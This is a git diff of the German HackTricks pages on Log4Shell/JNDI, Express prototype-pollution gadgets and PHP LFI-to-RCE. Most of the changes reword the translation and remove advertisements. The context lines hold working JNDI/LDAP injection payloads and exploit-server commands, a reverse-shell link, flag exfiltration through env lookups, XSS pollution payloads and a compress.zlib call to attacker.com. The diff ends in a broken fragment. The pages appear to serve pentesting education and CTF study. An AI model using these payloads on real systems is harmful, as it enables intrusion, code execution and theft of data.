${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
|
@ -267,18 +259,18 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
|||
{% hint style="info" %}
|
||||
Beachten Sie, dass der Autor aus irgendeinem Grund dieses Projekt nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
|
||||
|
||||
Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die Jar-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
|
||||
Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die JAR-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
|
||||
{% endhint %}
|
||||
|
||||
Für dieses Beispiel können Sie einfach diesen **anfälligen Webserver für log4shell** auf Port 8080 ausführen: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_im README finden Sie, wie Sie ihn ausführen_). Diese anfällige App protokolliert mit einer anfälligen Version von log4shell den Inhalt des HTTP-Anforderungsheaders _X-Api-Version_.
|
||||
Für dieses Beispiel können Sie einfach diesen **anfälligen Webserver für log4shell** auf Port 8080 ausführen: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_im README finden Sie, wie man ihn ausführt_). Diese anfällige App protokolliert mit einer anfälligen Version von log4shell den Inhalt des HTTP-Anforderungsheaders _X-Api-Version_.
|
||||
|
||||
Dann können Sie die **JNDIExploit** Jar-Datei herunterladen und sie mit folgendem Befehl ausführen:
|
||||
Dann können Sie die **JNDIExploit** JAR-Datei herunterladen und sie mit folgendem Befehl ausführen:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Nach nur ein paar Minuten des Lesens des Codes in _com.feihong.ldap.LdapServer_ und _com.feihong.ldap.HTTPServer_ kann man sehen, wie die **LDAP- und HTTP-Server erstellt werden**. Der LDAP-Server versteht, welches Payload bereitgestellt werden muss, und leitet das Opfer an den HTTP-Server weiter, der den Exploit bereitstellt.\
|
||||
Nach nur wenigen Minuten des Lesens des Codes in _com.feihong.ldap.LdapServer_ und _com.feihong.ldap.HTTPServer_ kann man sehen, wie die **LDAP- und HTTP-Server erstellt werden**. Der LDAP-Server versteht, welches Payload bereitgestellt werden muss, und leitet das Opfer an den HTTP-Server weiter, der den Exploit bereitstellt.\
|
||||
In _com.feihong.ldap.gadgets_ finden Sie **einige spezifische Gadgets**, die verwendet werden können, um die gewünschte Aktion auszuführen (potenziell beliebigen Code auszuführen). Und in _com.feihong.ldap.template_ können Sie die verschiedenen Template-Klassen sehen, die **die Exploits generieren**.
|
||||
|
||||
Sie können alle verfügbaren Exploits mit **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** sehen. Einige nützliche sind:
|
||||
|
@ -333,7 +325,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
|
|||
```
|
||||
![](<../../.gitbook/assets/image (1118).png>)
|
||||
|
||||
Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine **reverse shell** zu erhalten, indem Sie ihn an eine verwundbare Version von log4j senden: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine **Reverse-Shell** zu erhalten, indem Sie ihn an eine verwundbare Version von log4j senden: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Bypasses
|
||||
```java
|
||||
|
@ -391,17 +383,17 @@ Wie auf dieser Seite in [**früheren Payloads**](jndi-java-naming-and-directory-
|
|||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
Im CTF **konnten Sie nicht auf stderr** der Java-Anwendung mit log4J zugreifen, aber Log4J **Exceptions werden an stdout gesendet**, was in der Python-App ausgegeben wurde. Das bedeutete, dass wir durch das Auslösen einer Ausnahme auf den Inhalt zugreifen konnten. Eine Ausnahme zur Exfiltration der Flagge war: **`${java:${env:FLAG}}`**. Dies funktioniert, weil **`${java:CTF{blahblah}}`** nicht existiert und eine Ausnahme mit dem Wert der Flagge angezeigt wird:
|
||||
Im CTF **konntest du nicht auf stderr** der Java-Anwendung mit log4J zugreifen, aber Log4J **Ausnahmen werden an stdout gesendet**, was in der Python-App ausgegeben wurde. Das bedeutete, dass wir durch das Auslösen einer Ausnahme auf den Inhalt zugreifen konnten. Eine Ausnahme zur Exfiltration der Flagge war: **`${java:${env:FLAG}}`**. Dies funktioniert, weil **`${java:CTF{blahblah}}`** nicht existiert und eine Ausnahme mit dem Wert der Flagge angezeigt wird:
|
||||
|
||||
![](<../../.gitbook/assets/image (1023).png>)
|
||||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
Nur um es zu erwähnen, könnten Sie auch neue [**Conversion Patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) injizieren und Ausnahmen auslösen, die in `stdout` protokolliert werden. Zum Beispiel:
|
||||
Nur um es zu erwähnen, könntest du auch neue [**Conversion Patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) injizieren und Ausnahmen auslösen, die in `stdout` protokolliert werden. Zum Beispiel:
|
||||
|
||||
![](<../../.gitbook/assets/image (683).png>)
|
||||
|
||||
Dies wurde als nicht nützlich erachtet, um Daten innerhalb der Fehlermeldung zu exfiltrieren, da die Abfrage nicht vor dem Conversion Pattern gelöst wurde, könnte aber für andere Dinge wie die Erkennung nützlich sein.
|
||||
Dies wurde als nicht nützlich erachtet, um Daten innerhalb der Fehlermeldung zu exfiltrieren, da die Abfrage nicht vor dem Conversion Pattern gelöst wurde, könnte aber für andere Dinge wie Erkennung nützlich sein.
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
|
@ -410,7 +402,7 @@ Es ist jedoch möglich, einige **Conversion Patterns, die Regexes unterstützen*
|
|||
* **Binäre Suche über Ausnahme-Nachrichten**
|
||||
|
||||
Das Conversion Pattern **`%replace`** kann verwendet werden, um **Inhalt** aus einem **String** sogar unter Verwendung von **Regexes** zu **ersetzen**. Es funktioniert so: `replace{pattern}{regex}{substitution}`\
|
||||
Durch den Missbrauch dieses Verhaltens könnten Sie **eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte** (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
|
||||
Durch das Ausnutzen dieses Verhaltens könntest du **eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte** (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -418,7 +410,7 @@ Durch den Missbrauch dieses Verhaltens könnten Sie **eine Ausnahme auslösen, w
|
|||
```
|
||||
* **Zeitbasiert**
|
||||
|
||||
Wie im vorherigen Abschnitt erwähnt, unterstützt **`%replace`** **regexes**. Es ist also möglich, Payloads von der [**ReDoS-Seite**](../regular-expression-denial-of-service-redos.md) zu verwenden, um einen **Timeout** auszulösen, falls das Flag gefunden wird.\
|
||||
Wie im vorherigen Abschnitt erwähnt, unterstützt **`%replace`** **Regex**. Es ist also möglich, Payloads von der [**ReDoS-Seite**](../regular-expression-denial-of-service-redos.md) zu verwenden, um einen **Timeout** auszulösen, falls das Flag gefunden wird.\
|
||||
Ein Beispiel für eine Payload wie `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` würde einen **Timeout** in diesem CTF auslösen.
|
||||
|
||||
In diesem [**Bericht**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) wurde anstelle eines ReDoS-Angriffs ein **Amplifikationsangriff** verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
|
||||
|
@ -456,11 +448,6 @@ In diesem [**Bericht**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -468,11 +455,11 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,20 @@
|
|||
# Express Prototype Pollution Gadgets
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## XSS-Antworten bereitstellen
|
||||
|
||||
**Für weitere Details** [**sehen Sie sich die ursprüngliche Forschung an**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
@ -47,11 +33,11 @@ In diesen Fällen ist XSS normalerweise nicht mit einem JSON-Inhaltstyp möglich
|
|||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
Durch das **Verschmutzen** der **`body`**- und **`_body`**-Eigenschaften ist es möglich, **Express dazu zu bringen, den HTML-Inhaltstyp** bereitzustellen und die `_body`-Eigenschaft widerzuspiegeln, was zu gespeichertem XSS führt.
|
||||
Durch das **Verschmutzen** der **`body`** und **`_body`** Eigenschaften ist es möglich, **Express dazu zu bringen, den HTML-Inhaltstyp bereitzustellen** und die `_body`-Eigenschaft widerzuspiegeln, was zu gespeichertem XSS führt.
|
||||
|
||||
### UTF7 rendern
|
||||
|
||||
Es ist möglich, dass Express **UTF-7-Inhalte rendert mit**:
|
||||
Es ist möglich, dass Express **UTF-7-Inhalt rendert mit**:
|
||||
```json
|
||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||
```
|
||||
|
@ -69,7 +55,7 @@ Dann sieht ein reflektiertes JSON so aus:
|
|||
```
|
||||
### Exposed Headers
|
||||
|
||||
Der folgende PP-Gadget wird den Server dazu bringen, den HTTP-Header zurückzusenden: **`Access-Control-Expose_headers: foo`**
|
||||
Das folgende PP-Gadget wird den Server dazu bringen, den HTTP-Header zurückzusenden: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
|
@ -115,7 +101,7 @@ Darüber hinaus bietet in Szenarien, in denen eine Bibliothek wie Lodash verwend
|
|||
### Erlaube Punkte
|
||||
|
||||
Es gibt eine Option in Express, die es dir ermöglicht, **Objekte aus Abfragezeichenfolgenparametern** zu **erstellen**.\
|
||||
Du könntest es definitiv in einer Fehler-**Kette** verwenden, um eine **Prototype Pollution-Sicherheitsanfälligkeit** auszunutzen.
|
||||
Du könntest es definitiv in einer Fehler **Kette** verwenden, um eine **Prototype Pollution-Sicherheitsanfälligkeit** auszunutzen.
|
||||
```json
|
||||
{"__proto__":{"allowDots":true}}
|
||||
```
|
||||
|
@ -125,29 +111,18 @@ Du könntest es definitiv in einer Fehler-**Kette** verwenden, um eine **Prototy
|
|||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,20 @@
|
|||
# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` und `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
Eine Datei, die mit dem Protokoll `compress.zlib://` und dem Flag `PHP_STREAM_PREFER_STDIO` geöffnet wurde, kann weiterhin Daten, die später an die Verbindung ankommen, in dieselbe Datei schreiben.
|
||||
|
@ -37,7 +23,7 @@ Das bedeutet, dass ein Aufruf wie:
|
|||
```php
|
||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
Wird eine Anfrage an http://attacker.com/file gesendet, könnte der Server die Anfrage mit einer gültigen HTTP-Antwort beantworten, die Verbindung offen halten und später zusätzliche Daten senden, die ebenfalls in die Datei geschrieben werden.
|
||||
Wird eine Anfrage an http://attacker.com/file senden, dann könnte der Server die Anfrage mit einer gültigen HTTP-Antwort beantworten, die Verbindung offen halten und später zusätzliche Daten senden, die ebenfalls in die Datei geschrieben werden.
|
||||
|
||||
Sie können diese Informationen in diesem Teil des php-src-Codes in main/streams/cast.c sehen:
|
||||
```c
|
||||
|
@ -59,33 +45,21 @@ Der Angreifer wird den **Opfer-Server dazu bringen, eine Verbindung zu öffnen,
|
|||
|
||||
**Während** die **Verbindung** noch offen ist, wird der Angreifer eine **LFI ausnutzen, um die temporäre Datei** zu laden, die er kontrolliert.
|
||||
|
||||
Es gibt jedoch eine Überprüfung im Webserver, die **das Laden von Dateien verhindert, die `<?` enthalten**. Daher wird der Angreifer eine **Race Condition** ausnutzen. In der noch offenen Verbindung wird der **Angreifer** die **PHP-Nutzlast NACHDEM** der **Webserver** **überprüft** hat, ob die Datei die verbotenen Zeichen enthält, aber **BEVOR** sie ihren Inhalt lädt.
|
||||
Es gibt jedoch eine Überprüfung im Webserver, die **verhindert, dass Dateien geladen werden, die `<?` enthalten**. Daher wird der Angreifer eine **Race Condition** ausnutzen. In der noch offenen Verbindung wird der **Angreifer** die **PHP-Nutzlast NACHDEM** der **Webserver** **überprüft** hat, ob die Datei die verbotenen Zeichen enthält, aber **BEVOR** sie ihren Inhalt lädt, **senden**.
|
||||
|
||||
Für weitere Informationen siehe die Beschreibung der Race Condition und das CTF in [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,51 +15,36 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Verwundbare Konfiguration
|
||||
|
||||
[**Beispiel von https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* PHP-Code:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
